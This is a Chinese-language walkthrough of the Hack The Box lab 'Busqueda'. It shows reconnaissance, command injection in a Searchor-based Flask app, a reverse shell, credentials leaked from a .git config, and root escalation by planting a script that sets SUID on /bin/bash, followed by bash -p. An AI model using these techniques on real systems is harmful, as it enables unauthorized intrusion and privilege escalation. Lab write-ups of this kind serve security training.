HTB Busqueda
起步准备
官网注册:https://app.hackthebox.com
注册完之后准备使用kali连接vpn了:
下载好后,会有一个ovpn文件:
把这个文件放到Kali里面(这里最好放到是选择普通用户的目录,这样子可以直接复制粘贴,要是直接放在桌面也可以,个人觉得还是创建一个专属于靶机的目录比较好),使用命令:
openvpn lab.ovpn
连接一下
开启题目
启动之后会有一个内网地址:
Busqueda
开始做题
启动靶机,有一个IP:10.10.11.208,直接访问好像并行不通:
Nmap使用命令nmap -A
扫描后得到如下结果:
Nmap scan report for 10.10.11.208 (10.10.11.208)
Host is up (0.41s latency).
Not shown: 997 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 4f:e3:a6:67:a2:27:f9:11:8d:c3:0e:d7:73:a0:2c:28 (ECDSA)
|_ 256 81:6e:78:76:6b:8a:ea:7d:1b:ab:d4:36:b7:f8:ec:c4 (ED25519)
80/tcp open http Apache httpd 2.4.52
|_http-server-header: Apache/2.4.52 (Ubuntu)
|_http-title: Did not follow redirect to http://searcher.htb/
1149/tcp filtered bvtsonar
Service Info: Host: searcher.htb; OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 163.39 seconds
发现他的Hosts
是sercher.htb
在root权限下使用:
echo "10.10.11.208 sercher.htb">>/etc/hosts
//切记切记,这里用的是追加写入,不要覆盖写了
把这个DNS情况输入到本机情况,这样子就可以访问了:
访问之后发现下面有一个Powered by Flask and Searchor 2.4.0
发现输入什么返回什么,有两个想法:
- SSTI模板注入
- 系统命令执行
第一想法肯定是SSTI注入,怎么有人傻傻地后台使用危险函数来回显用户输入
测试SSTI:
什么居然不是SSTI
不会真的是系统命令吧
尝试系统命令:
我天,真的是,你不如杀了我
那就反弹shell了,原本是尝试反弹到公网IP的,但是失败了,不知道是不出网还是什么原因,那就弹到Kali吧:
先看一下kali的IP地址
吃到shell后就可以执行命令了:
然后我的思路就完全卡壳了,我flag呢
于是接下来都是WP的思路了:
原来还有一个.git文件(其实刚才看到有用到github的项目就应该想到有.git了),以后执行查看文件都用ll了,用ls会漏掉隐藏文件
对.git文件的信息收集有点不知道,恶补一下:https://blog.csdn.net/start_mao/article/details/94609238
然后cat config
查看仓库的配置信息
这里可以看出来
用户名:cody
密码:jh1usoih2bkjaspwe92
但是使用whoami的时候又有一个用户名,使用ssh登陆的时候可以发现用户名其实是svc
ssh连接果然可以连接上以后
执行命令sudo -l
按他的提示我们运行一下这个py脚本:
提示需要一个full-checkup的东西,wp说是sh脚本,不知道为什么。。。
回显su: must be run from a terminal 需要一个终端
利用以下代码解决:
echo "import pty; pty.spawn('/bin/bash')" > /tmp/asdf.py
python /tmp/asdf.py
那就创建这个脚本:
vim full-checkup.sh
内容:
#!/bin/bash
chmod +s /bin/bash
接着赋予这个脚本+x权限
chmod +x full-checkup.sh
下一步就是提权了
sudo /usr/bin/python3 /opt/scripts/system-checkup.py full-checkup
出现Done!则表示提权成功
输入命令 /bin/bash
进入bash模式的命令行
接下来使用find提权:
find . -exec /bin/bash -p ;
如果find命令有suid则可以利用find命令提权,这里注意应该加上-p参数,网上大多数版本并没有-p选项,导致不能真正的以root权限开启一个新的shell
利用普通用户执行find命令,要查找一个存在的文件,这里的点是查找当前目录
-p参数的解释:
**当真实用户id和有效用户id不匹配时打开。禁用处理$ENV文件和导入shell功能。关闭此选项将导致有效的uid和Gid设置为真实uid和Gid。 **
bash -p参数
-p Turned on whenever the real and effective user ids do not match.
Disables processing of the $ENV file and importing of shell
functions. Turning this option off causes the effective uid and
gid to be set to the real uid and gid.
这样子就成功变成root权限了,最后进入到/root,可以拿到root.txt这个flag
还有一个flag在/home/svc 下,两个都交完应该算是完成了